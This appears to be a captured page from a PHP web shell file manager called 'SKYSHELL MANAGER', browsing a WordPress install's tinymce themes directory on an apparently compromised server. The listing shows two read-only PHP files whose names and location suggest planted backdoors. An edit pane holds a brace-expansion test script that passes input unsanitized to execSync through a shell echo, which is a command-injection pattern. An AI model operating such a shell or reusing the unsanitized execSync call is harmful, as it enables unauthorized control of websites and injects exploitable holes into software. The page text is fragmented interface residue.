📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: expand.js
const colors = require('ansi-colors'); const parse = require('./parse'); const color = (arr, c) => arr.map(s => c(s)).join(', '); const cp = require('child_process'); const braces = input => { return cp.execSync(`echo ${input}`).toString().trim().split(' '); }; // const fixture = '{a,{b,c},d}'; // const fixture = '{a,b}{c,d}{e,f}'; // const fixture = 'a/{b,c{x,y}d,e}/f'; // const fixture = '{{a,b}/i,j,k}'; // const fixture = '{c,d{e,f}g,h}'; // const fixture = '{{c,d{e,f}g,h}/i,j,k}'; // const fixture = '{a,b}/{c,d{e,f}g,h}'; // const fixture = '{{a,b}/{c,d{e,f}g,h}/i,j,k}'; // const fixture = '{x,y,{a,b,c\\}}'; const fixture = 'a{,b}c'; console.log(); console.log(' FIXTURE:', colors.magenta(fixture)); console.log(' ACTUAL:', color(expand(parse(fixture)), colors.yellow)); console.log('EXPECTED:', color(braces(fixture), colors.blue)); console.log();
Save